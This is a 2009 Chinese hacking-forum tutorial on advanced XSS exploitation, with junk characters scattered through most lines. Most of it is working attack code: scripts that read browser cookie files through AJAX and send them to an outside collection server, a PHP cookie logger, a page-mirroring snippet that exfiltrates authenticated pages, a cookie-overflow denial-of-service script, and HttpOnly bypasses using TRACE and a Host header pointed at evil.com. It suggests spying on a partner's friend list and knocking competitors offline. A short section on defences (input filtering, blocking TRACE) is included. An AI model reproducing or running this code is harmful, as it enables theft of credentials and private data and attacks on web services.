XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

+ E4 c' s+ M8 n" K% TXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
7 ~  H' }! K9 `' ~, @By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
# V/ ~4 o. d. ?" ?
$ K, u  o- \  ?# T) }
6 X/ }( q" N/ f! n# I
( E( v0 L6 K$ T1 W-------------------------------------------前言---------------------------------------------------------
* N3 m+ @" p& E  n+ ^
6 q& [! h0 K  K  B& R
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
* V5 K3 p+ h9 ?9 F6 N# @6 l
' u8 |6 y# ^0 V* {' y  Z
" D! V6 D" T" V* W  i如果你还未具备基础XSS知识,以下几个文章建议拜读:
6 n( E' Q/ T& `1 j9 n- A5 ?) _$ Chttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
" _9 [0 l! _+ n7 J$ K& ihttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
& t* w. ]/ k) zhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
2 K9 v# W7 u6 s1 V2 H" q6 s) hhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持




如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

  S% v2 j- z( T% w& |$ M希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

& f3 j# F5 [2 J  P6 d如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
: ^2 Q- H( e# M1 U
QQ ZONE,校内网XSS     感染过万QQ ZONE.
& _4 w; J5 ?( z
# _% i! i# ^4 z6 I6 QOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
$ @9 Y5 R$ u: c, M# _9 {9 A
..........
* u6 Q2 n' r5 F; A6 }复制代码------------------------------------------介绍-------------------------------------------------------------
9 ^/ x+ T; _7 z% M) K' Y
1 A6 @& a5 x9 V+ a什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

! r" R, f5 h' d5 u- d3 j
- {# Y6 r" h, Q0 @
! f. ]5 Z* F/ A& n跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
8 Y3 o9 n; |; W

3 |& V3 U* J" I
* S, |9 f' N. ^" s如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
+ ?! u- X7 F* y' B, J; d复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' w0 i4 W: b5 @; H  n9 C& D我们在这里重点探讨以下几个问题:

5 r/ N" M) r" e- }1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
' z' q1 ~/ h' Y* @0 c+ G- f
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
, n8 I5 e. x$ ~3 e5 g
4 h% `4 @4 j! e7 k5 K- ?; ~2 Y4        XSS漏洞在输出和输入两个方面怎么才能避免.


) p, G* d$ e/ L+ E" w1 J1 e" d3 K
/ p4 g" M8 u6 f------------------------------------------研究正题----------------------------------------------------------

8 b" D, G1 @' g# @1 L

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
0 l& Y2 K) x& o2 {5 t* A& H; p复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
0 i8 j5 x0 B+ r$ K- ?. ^& V2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
: W+ l7 T3 F2 F9 S! w3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
" s' E5 ^7 g( t2 G1 ^$ I4:Http-only可以采用作为COOKIES保护方式之一.
" t4 Q& O% U0 I+ |% w- X


5 i, |7 {  ]4 k

5 i8 Q& x! G" P0 t0 \(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


6 s+ U2 x1 J2 N7 z' |
! p9 I: K; P) t, u    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
( _2 ~- v8 d2 r2 K

) Y. ^% [5 ]8 A/ m+ [) X: _
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
- O4 J) x) l1 _+ T$ j$ n! p! Q复制代码IE6使用ajax读取本地文件    <script>
" ^, [# O7 [- b4 ]9 K  k  K7 p
    function $(x){return document.getElementById(x)}
* `1 ?1 M* n& y- J/ X


+ L8 R: C+ y/ H9 ~2 n# e    function ajax_obj(){
* Y3 p  z: f. O9 n7 R6 Y6 k
7 T+ v' c; h3 d# t, k    var request = false;
$ u4 o7 s# W  r3 z0 X
1 O- R& ]9 H( F& M  k    if(window.XMLHttpRequest) {
( @# U+ R3 P% k# d
    request = new XMLHttpRequest();
$ d  n1 T' S( f! M: W% D
7 z5 H4 H0 n/ ]    } else if(window.ActiveXObject) {
( [" _1 D( @$ p
5 l) c. A. R! c2 G/ T& s% W, Y    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
3 q0 @; E2 I' i! Y
5 O) r! e1 {+ S7 k1 b: _

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
1 ~( m2 T9 T5 ~6 o
5 J7 W& t. [: P' C4 z5 A    try {

    request = new ActiveXObject(versions);
' x4 u4 ^1 m# W3 e
    } catch(e) {}
* p5 }/ q9 q- z+ U* R6 S. D* O
    }

' G8 Y& F$ R$ d2 [( M% R    }

' l' ~5 @. ~, m! Q" n    return request;

1 f, A7 Z8 M$ c    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

/ [6 Q9 A8 e$ f, z    _x.open(_m,action,false);
$ @7 g2 j' n* l$ J9 y' C7 L  T! `
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;

    }

& k, `+ [: n# G9 u

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

) M7 J" `7 i1 N, r3 s4 d$ {    alert(txt);

% o. \% q! n/ w
4 p$ D2 e- C8 Y+ Q; }, h
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

- D/ ^, P  W, d# {* f' |

    function ajax_obj(){
" r- _$ n% @& ]
1 |6 J; F' O# j    var request = false;
$ w0 u# Q6 v) L' _/ @
8 L% }  |0 H7 ]8 [2 x) i; ~    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
8 K* Z6 v) o. \  `! n/ E" ]
% Q$ i& U' {5 w6 D9 T6 ^    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
* f2 U; r* x3 k" ?0 p8 @  N7 f  {
9 {2 `2 m) {4 `7 m1 S

+ C) L: ]+ C( C% w4 [" ?    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! N2 q: z0 g/ v+ j( l# y
$ E$ l" J3 O+ A) W6 w    for(var i=0; i<versions.length; i++) {
. g+ t: P, C% U# u. w
    try {

- H: M2 T1 H+ Y% V7 B, v    request = new ActiveXObject(versions);

    } catch(e) {}
+ w( X" O2 V* }- o$ K
    }
% ]/ R- E$ l/ x. y4 n; z  H
2 H1 @, w" \5 `8 ~+ Q4 l9 j    }
0 b0 i8 {" A' t2 Q% p, x" b
* T. P9 |: [2 X( }6 t- d+ s: ?) Q    return request;

& m  i/ E3 ^) w* Z' S    }

5 `0 p" p2 |7 L7 E& h& j    var _x = ajax_obj();
8 N2 \; L& A! C2 m5 Z6 e
    function _7or3(_m,action,argv){
: E3 f% M/ J3 X" H9 k
    _x.open(_m,action,false);
* t8 N& z$ j' f% R+ `% G: F
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
. \7 s  U. u5 b
    _x.send(argv);
1 a+ O9 _7 D9 C5 M, ?
5 g% p0 R2 R' y% ]( g! H9 _    return _x.responseText;

+ Z/ L; L3 @3 `6 R9 O. Q    }
( {' V  E; O5 [

' g8 `/ H- a. I) A; H5 e
4 Q" ^  M. ^3 I+ f6 c! O" t- A# ?    var txt=_7or3("GET","1/11.txt",null);
2 a7 Q/ j' S3 C2 R! A% l+ W/ b) O
1 q: Q  ^  C/ I% p5 L6 S" C    alert(txt);


/ M' f8 R  F  Q
: s/ n! I$ |3 a7 M; I4 [5 `( W    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
0 z. ?4 }/ z5 g, {3 N/ p; P
4 Z6 f1 y, ]& s6 m

# N3 x; R( L9 Q% z) H0 L3 s1 {Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
$ m; n$ K8 H9 r; Y% o3 _
9 a% S, j' U3 b' x: }
' k  \% C1 {$ I# Z
<?   
/ W( I. I$ B8 F/ t
/*  

0 w4 x3 U) D9 M5 G0 C6 A/ ^     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

: \6 y0 Z1 n3 o# y$ V% I: Z     author voidloafer@gmail.com 2009-4-22   

7 h( f- @' Z% |* Z% {. L! \, v     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
& n. Z; v/ S0 a4 f4 Y$ ]0 H' C
*/  
4 V1 W5 p3 X  x: Y
- U3 }+ ?" S; i; R; iheader("Content-Disposition: attachment;filename=kxlzx.htm");   
1 T, r# {; a" t7 ?- n. d( E- X" \" y
header("Content-type: application/kxlzx");   

/*  

5 y; y9 C% @  \( z8 V, E     set header, so just download html file,and open it at local.  

*/  

- h9 e" p2 V, x  _. }4 y?>   
6 ~4 P& q0 k2 ~- m+ Z  z
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
' ]" Z) ~5 Z* l7 t7 X. O: @0 _# N
& G  w! x$ y! \8 O, W</form>   

<script>   
: O5 g4 {+ Y9 r4 m" W& R
function doMyAjax(user)   
) |$ E0 z% x. N, j5 a% \
{   

4 _+ e( J6 t4 b7 g$ evar time = Math.random();   
; b3 l  G3 K/ M' v  s) A
3 w6 i  L2 y! f) ^6 m( F/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

# U+ p# \/ |, Hand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

7 x0 J, z8 c( s$ S9 ?7 F0 band so on...  

; B, }: }! Y( N: I*/  
/ I1 ^( p8 |7 Y
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

; L/ `/ l& Z0 C( }startRequest(strPer);   



" J2 k6 Q% w7 [5 g* d}   

   
8 r, s/ O% L( {$ g( O2 _+ Z
8 k& R& h: y  }8 r& l! efunction Enshellcode(txt)   

{   

var url=new String(txt);   

0 s: V" I( b) i$ Y% Ivar i=0,l=0,k=0,curl="";   

" j5 ?1 r3 k4 Y6 ^l= url.length;   
, ^+ r0 }8 c& B# m* [( U
# p( d( [" ]& F' ^for(;i<l;i++){   
1 ], r8 ?/ C3 R+ `: V3 ]
k=url.charCodeAt(i);   
. m, p7 A& d0 k0 ~1 {
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
" ?$ [4 z0 _/ S" ~2 r
; ]! E2 C# S' l; l( Y! ^: G/ O0 g3 v; w2 Tif (l%2){curl+="00";}else{curl+="0000";}   
$ l* {! P5 H# Y+ V
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
$ b/ m3 x1 s& ^% M( u
}   

6 x. w- B. j% H9 M" \  K& l: B   

, ?9 s. i( \% [$ c) w7 q   

6 T6 h5 G  G3 M  J" m$ D8 bvar xmlHttp;   

8 j! b- @2 k( {( S# W1 U0 w: lfunction createXMLHttp(){   

5 h" Y  M7 a( B4 r/ }7 I     if(window.XMLHttpRequest){   

1 C# y1 z0 Q6 C& M& ZxmlHttp = new XMLHttpRequest();           

. A3 S; D( S8 b. S, |1 _6 _8 V% c     }   

     else if(window.ActiveXObject){   
! d8 ]! S5 |* Z, k+ Q
$ W1 O8 j+ H6 U2 ?/ y/ c2 ~xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

6 t$ E/ _! J+ w6 M5 V9 E     }   
) W' A0 S  m. W2 F. o8 A
}   

   
  _* p4 a) h+ ~6 e. ~/ t: K
function startRequest(doUrl){   
9 f% ?% q& }+ v3 v6 t) i( \& O
; K( t% [9 t1 s9 W; c& R   
' S* }- N3 K2 {  F( k  t' G8 ^
  O% M- Y4 N7 s0 r6 B5 n9 k     createXMLHttp();   
0 |5 v" J* G8 M: X) g) ~$ f
' b: A) q" Q1 t+ @' b* S
( F; Q9 P* D5 K: ^
     xmlHttp.onreadystatechange = handleStateChange;   


- ~+ _. B- E+ Y- G( |
     xmlHttp.open("GET", doUrl, true);   
+ M! Q) z- l4 X3 r: k$ U


     xmlHttp.send(null);   





5 S7 L2 ?4 w% O  O0 t% }; \}   
9 W  L4 C. x" u* o9 \* C' \0 c
5 Y# @# Q" u5 d+ X- N   

function handleStateChange(){   
( V: s/ G5 s7 _8 S& E1 W" k, m
     if (xmlHttp.readyState == 4 ){   
7 S% `/ `% Y# R% P
     var strResponse = "";   

5 a1 G: @5 U0 G3 w0 t) L/ A     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
; `7 [5 }& k! q$ z! k
        

     }   
! X7 q( J6 d2 e" k5 R
2 z  y3 ^# Q3 t6 d( v}   
  ?, W! d' A( P3 \
   
1 n1 K3 p8 K) b6 R5 z$ ~( h( [, o' L
, j- V  A* c8 [/ L   
6 W* c0 s, }  a* K" Q6 v- n
function framekxlzxPost(text)   

{   
( m" T* V, \. d4 Z' X6 T! O" z
* t( L+ u( H+ M' a5 R0 Z; t7 c: C     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

}   

   
2 d" t9 g0 _5 F' {$ W. ^. d+ e
& v# i- B& u2 C0 YdoMyAjax("administrator");   
5 ]3 B! f; K% R
& l5 [9 a. p8 A* o   
! z. C1 [9 N& Q# M  h( F$ ~" Z" Q
# D) ~) ], s% O</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

. @) X, i7 k7 G; F* Bvar xmlHttp;  
. J! W2 I1 R4 C' o) A
function createXMLHttp(){  

     if(window.XMLHttpRequest){  

. o1 C' O1 a% _4 z         xmlHttp = new XMLHttpRequest();         
8 v: f% c$ T% N" q/ v9 `
     }  

     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
' J9 s$ t9 N! `5 t; S
8 K4 f" K  N8 i& f% C: u     }  

}  
$ |- N, {; `7 p, w/ a$ z8 r
   
) u! f' v3 @$ Z8 `# X
function startRequest(doUrl){  

$ s6 M3 k' p* z0 ?           
2 y* N( ], o  z" o" d
     createXMLHttp();  

+ P9 H; i1 _; ^) [& N$ Z      

     xmlHttp.onreadystatechange = handleStateChange;  

! L% |# a; `  [7 D5 F      

     xmlHttp.open("GET", doUrl, true);  

( |) l, j3 @+ ], _/ q, Y      
; U9 d6 m, H( i. Z6 e/ t) e2 W! ]
+ g$ A+ L2 Y6 z- s2 `) _7 t5 B$ Q     xmlHttp.send(null);  

+ |) {8 C+ k5 B4 W: p' y      

3 V- d# |8 d6 i. Q6 f6 {      

}   
# b9 v) T# a* t! O# z
+ `5 {- T0 f; W! S   

. |2 P) O6 a7 W$ d. Z( L6 Afunction handleStateChange(){  
* w% Y9 h6 G/ j  Y) S
1 P  Q/ B5 @1 V     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
4 B7 S2 q$ Z- P- a
3 s1 X! H9 S8 }7 X             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
+ P1 e$ M) D) N: B; F  v
               
1 e5 C) u9 O5 Z* k7 r7 ]  s
     }  
" I7 C1 I9 G, K# E
" D* w: r2 V, y}  
! @7 [0 p- \0 U) t
$ k2 L4 z2 [) s( i; q% s   

function doMyAjax(user,file)  
, V0 u% F4 ^+ h- [& _# f; h. V
4 R5 w9 h3 M: p0 t2 p' ~3 ~8 U" E{  

         var time = Math.random();  

           

" J  x6 g5 T9 h) Q# i* ?         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

2 D% t8 b& J' A; }6 C- ^% A           

         startRequest(strPer);  
" p3 k1 v5 d. _: h% t# d; c
      

* _/ h0 _! f  \$ y8 x+ T}  
6 E$ i& t- i, O/ S/ T
8 V! [( ~" E/ G2 c: J0 ?7 i: r   

0 W( V' @& H4 k6 F! |0 M: mfunction framekxlzxPost(text)  

{  
+ k/ L! W2 y& l: w8 n
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

9 X5 d. Y# n: o$ d; G% T: e}  

   
( e+ ]1 x9 m$ V: k7 f
0 a1 P' c. A$ k  {doMyAjax('administrator','administrator@alibaba[1].txt');  
  N" U8 T/ Q4 {7 r& e
   
8 I" u- y1 N9 y' Y" b" x! i
2 A# {; d: ?6 q2 B/ R</script>

( Q. {& O( W- s
' l! s( M* d' t% ]1 a3 S
; n: V$ h7 g. _; H
2 X; p9 ~: x* [$ `, b# g, U
3 k7 v0 |" J) J- Wa.php
: B5 J, b( o9 f: a, S


<?php      

   
) @! m( S9 R! v/ J1 s
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
# P2 O  O% o9 @9 O, g, g
  
) r9 x$ X+ ]/ [; E
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
; O$ o5 N  _' D9 h, O
. w, `/ u. J" F: {2 j+ Bfclose($fp);   
: y' T; U, Q$ H" l* p  ~
! Q$ `8 F4 n6 C" o?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

2 y" }6 T; }1 [. @1 k, \& L1 V或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
7 p( ^) L! x1 y( c' C# U利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
5 M3 Y3 Y, ]* F* y
8 b2 o1 m4 R5 t9 `# m. p代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
/ p2 e; ^( \7 M3 D4 K, e" U
# G9 i" [% E+ w5 J; e/ Z//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
- T; z/ d$ x$ a6 ]9 l
# b/ W$ R8 E" O, P, lfunction getURL(s) {
- c7 X' e  t* m* M8 `% v
var image = new Image();

6 R0 `2 I2 v- E- B- X. t2 L& kimage.style.width = 0;

4 N9 @& p% A' ~* c- \5 jimage.style.height = 0;

image.src = s;

7 d( _5 b5 ~* H}
3 y3 M6 x- ?- Y' J! D" {6 C5 _
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
0 j- _  m( ?8 Z这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
' |7 p" {7 ?, a. |4 }/ {/ n- O! g
& h5 S% q: X9 \( Wvar str = "";
9 M8 ^3 ]3 q9 d. N& }
while (str.length < 4000){

    str += metastr;

}
, J3 g( K- Z: f& V
" z; H$ N( [, }( W+ w  H) Q% k  g+ W

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

" q2 U! z: I5 D  N5 n' @1 ]</script>

; l) _- g! ~: [( s6 u详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 L- V- {9 O# G/ q+ i/ g* L复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
( W6 E+ z% f  {( O6 eserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
8 v! m! G3 f; n' r5 ^& s
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


7 P0 N8 S9 B7 d$ c


' w" L  x: L" s* @
- S5 e; }1 f2 m7 u! [! ?+ q(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
+ g3 q1 q+ ^& _3 v2 D以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
  H3 v8 w* k4 l& [# [& v" t
7 b' e  r# w; Y<!--
% M- e4 c) _$ ]7 O- R* o
: |: [( F& D, mfunction normalCookie() {
, J6 J; s4 f# j# T! y1 @
document.cookie = "TheCookieName=CookieValue_httpOnly";
# ^0 u& E2 R# h" W! x/ r8 I% P
; q  d4 M/ R  u2 Nalert(document.cookie);
* L  |& {5 z3 A( n4 W4 v5 }- x
2 g0 L3 o- U' x# r( e7 R" r" o4 S$ q}

* c8 s# p1 {/ E8 i: A$ o* _
6 q/ |- q7 B8 S1 ^+ ?; E/ S0 P7 q; j

) m0 Q- o, p6 f2 F5 W/ N
+ D, z4 E* g- d* g' I8 |* ]function httpOnlyCookie() {
% _; c7 I6 h2 L9 {
' e* D$ O  Y; W1 E# F2 {document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

+ r! A, c, V7 b7 `# p7 `7 valert(document.cookie);}
, I6 Q8 V4 j9 r" c9 c3 T( H- o


: _( h, \' t9 L9 J" V9 s; ~' D! y; K- s//-->

</script>
- }% `3 H: T6 _* K
- F; L" q& I4 b" U

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( t/ W7 N0 H: e; N( T4 s- I6 E4 B+ y. x
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



( \1 [! P! A* N7 Rvar request = false;

        if(window.XMLHttpRequest) {
7 {0 Q2 Q, b- X( l
) p' C, J& F* c            request = new XMLHttpRequest();

0 i' g" H  B. j            if(request.overrideMimeType) {
3 x  a: l3 ]+ Y! j) `8 H% i
( Z- k: y8 l9 o                request.overrideMimeType('text/xml');
! R4 l1 ~- t6 P
            }

        } else if(window.ActiveXObject) {

" \3 w: G* @: G3 Y; j  V9 i            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 q- `# d1 R% Q0 n, _  l' H* k9 a
            for(var i=0; i<versions.length; i++) {
& |9 M8 H- o& X( L" ^8 x, R
6 E% P# j! h2 u7 V- e" @+ `2 D; t                try {
% @$ P) }; A% b) h. S
                    request = new ActiveXObject(versions);

( W, `: ?" D- P0 r) ^                } catch(e) {}

* q* h/ a* n9 g            }
) ?0 o& S+ L- l# v/ Q8 Q
$ H  o1 u2 H! n& ?1 f3 m& Z        }

, {9 b9 d3 p  GxmlHttp=request;
: a) R' e: g; D( o, _
) h4 F2 O; W0 kxmlHttp.open("TRACE","http://www.vul.com",false);
4 U0 |. k8 T9 _
xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

7 M2 w% T$ U& lalert(xmlDoc);
3 s* U  J) ?" \+ ?5 @
/ [8 ^5 ?3 P' i</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# J5 ~, `8 u* I: z# m4 Z
% j- Y! T" b0 R, Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
* o  u1 p  k  D
XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

6 I9 D8 E& G; s8 F) }XmlHttp.send(null);

var resource=xmlHttp.responseText
" Y" Z# r; Y8 d& D* B& O
resource.search(/cookies/);
5 p! Q2 m8 K/ d- M
......................

% H# y3 ^, l$ Y! E  H  c</script>
* V+ ~- |  N; }! Q


' j. E2 V/ V2 }3 ]( ^9 s: H" j
) W  Q/ n& ^0 P0 Z% v
, _2 T' _1 E6 [' F2 k+ D& }3 r# t如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
* r4 I  t( J1 u4 j1 n  K! ^
! h$ H) E! Y0 {" E[code]
+ i5 h% |5 _& P* {) f4 }1 n5 M7 @4 r
RewriteEngine On
5 _& @) Z5 @* ?! ]; l7 D
RewriteCond %{REQUEST_METHOD} ^TRACE
; [1 W% D$ `  U
RewriteRule .* - [F]



6 h# i' \- A1 \  B1 _" l1 g+ hSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
% q& B6 ~. o0 }0 r) t
1 l; `( H  `/ _) S. A) \# H3 \2 Macl TRACE method TRACE
5 }" c5 k& k# T& x' C4 m6 R
! g+ }/ t5 ?* \...
% K4 O$ l* d, H) X( |
- S* R# D. B0 @& [2 jhttp_access deny TRACE
$ p; U/ \/ B2 J/ a3 _) w复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

' z; @0 P9 q: Z5 FXmlHttp.open("GET","http://www.google.com",false);
1 s3 j( v: y8 ~, L  E
: V' U$ z( [8 r, ^3 @XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
